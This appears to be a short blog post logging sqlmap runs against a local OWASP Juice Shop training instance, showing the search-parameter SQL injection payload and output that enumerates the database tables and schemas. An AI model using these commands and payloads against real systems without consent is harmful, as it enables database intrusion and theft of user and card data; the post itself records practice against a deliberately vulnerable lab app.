Monday, January 24, 2022

sqlmap hack owasp juice shop 2

(kali㉿kali)-[~/Downloads/sqlmap/sqlmap-dev]
└─$ sqlmap -u http://localhost:3000/rest/products/search?q= --dbs --level=3 --risk=3

23:30:33] [INFO] testing SQLite
[23:30:33] [INFO] confirming SQLite
[23:30:33] [INFO] actively fingerprinting SQLite
[23:30:33] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite

─(kali㉿kali)-[~/Downloads/sqlmap/sqlmap-dev]
└─$ sqlmap -u http://localhost:3000/rest/products/search?q= --schema
        ___
       __H__                                                                        
 ___ ___[.]_____ ___ ___  {1.5.8#stable}                                            
|_ -| . ["]     | .'| . |                                                           
|___|_  [']_|_|_|__,|  _|                                                           
      |_|V...       |_|   http://sqlmap.org                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:36:03 /2022-01-24/

[23:36:04] [WARNING] provided value for parameter 'q' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[23:36:04] [INFO] resuming back-end DBMS 'sqlite' 
[23:36:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=') AND 7040=7040 AND ('OyLh' LIKE 'OyLh
---
[23:36:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[23:36:04] [INFO] enumerating database management system schema
[23:36:04] [INFO] fetching tables for database: 'SQLite_masterdb'
[23:36:04] [INFO] fetching number of tables for database 'SQLite_masterdb'
[23:36:04] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:36:04] [INFO] retrieved: 20
[23:36:04] [INFO] retrieved: sqlite_sequence
[23:36:07] [INFO] retrieved: Users
[23:36:08] [INFO] retrieved: Addresses
[23:36:10] [INFO] retrieved: Baskets
[23:36:11] [INFO] retrieved: Products
[23:36:12] [INFO] retrieved: BasketItems
[23:36:14] [INFO] retrieved: Captchas
[23:36:15] [INFO] retrieved: Cards
[23:36:16] [INFO] retrieved: Challenges
[23:36:17] [INFO] retrieved: Complaints
[23:36:18] [INFO] retrieved: Deliveries
[23:36:20] [INFO] retrieved: Feedbacks
[23:36:21] [INFO] retrieved: ImageCaptchas
[23:36:23] [INFO] retrieved: Memories
[23:36:25] [INFO] retrieved: PrivacyRequests
[23:36:27] [INFO] retrieved: Quantities
[23:36:28] [INFO] retrieved: Recycles
[23:36:30] [INFO] retrieved: SecurityQuestions
[23:36:32] [INFO] retrieved: SecurityAnswers
[23:36:34] [INFO] retrieved: Wallets
[23:36:35] [INFO] fetched tables: 'SQLite_masterdb.Addresses', 'SQLite_masterdb.SecurityQuestions', 'SQLite_masterdb.Baskets', 'SQLite_masterdb.Captchas', 'SQLite_masterdb.BasketItems', 'SQLite_masterdb.Wallets', 'SQLite_masterdb.Products', 'SQLite_masterdb.sqlite_sequence', 'SQLite_masterdb.Feedbacks', 'SQLite_masterdb.Quantities', 'SQLite_masterdb.Recycles', 'SQLite_masterdb.Cards', 'SQLite_masterdb.Complaints', 'SQLite_masterdb.Users', 'SQLite_masterdb.ImageCaptchas', 'SQLite_masterdb.Deliveries', 'SQLite_masterdb.SecurityAnswers', 'SQLite_masterdb.PrivacyRequests', 'SQLite_masterdb.Challenges', 'SQLite_masterdb.Memories'                                        
[23:36:35] [INFO] retrieved: CREATE TABLE `Addresses` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `mobileNum` INTEGER, `zipCode` VARCHAR(255), `streetAddress` VARCHAR(255), `city` VARCHAR(255), `state` VARCHAR(255), `country` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:37:36] [INFO] retrieved: CREATE TABLE `SecurityQuestions` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `question` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)
[23:38:02] [INFO] retrieved: CREATE TABLE `Baskets` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `coupon` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:38:40] [INFO] retrieved: CREATE TABLE `Captchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `captchaId` INTEGER, `captcha` VARCHAR(255), `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)
[23:39:12] [INFO] retrieved: CREATE TABLE `BasketItems` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, UNIQUE (`BasketId`, `ProductId`))
[23:40:09] [INFO] retrieved: CREATE TABLE `Wallets` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `balance` INTEGER DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:40:48] [INFO] retrieved: CREATE TABLE `Products` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `description` VARCHAR(255), `price` DECIMAL, `deluxePrice` DECIMAL, `image` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)
[23:41:30] [INFO] retrieved: CREATE TABLE sqlite_sequence(name,seq)
[23:41:36] [INFO] retrieved: CREATE TABLE `Feedbacks` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `comment` VARCHAR(255), `rating` INTEGER NOT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:42:18] [INFO] retrieved: CREATE TABLE `Quantities` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `limitPerUser` INTEGER DEFAULT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:43:03] [INFO] retrieved: CREATE TABLE `Recycles` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER(4), `isPickup` TINYINT(1) DEFAULT 0, `date` DATETIME, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, `AddressId` INTEGER REFERENCES `Addresses` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:44:03] [INFO] retrieved: CREATE TABLE `Cards` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `cardNum` INTEGER, `expMonth` INTEGER, `expYear` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE)
[23:44:50] [INFO] retrieved: CREATE TABLE `Complaints` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `message` VARCHAR(255), `file` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `UserId`^C


[*] ending @ 23:45:21 /2022-01-24/

reference:

No comments:

Post a Comment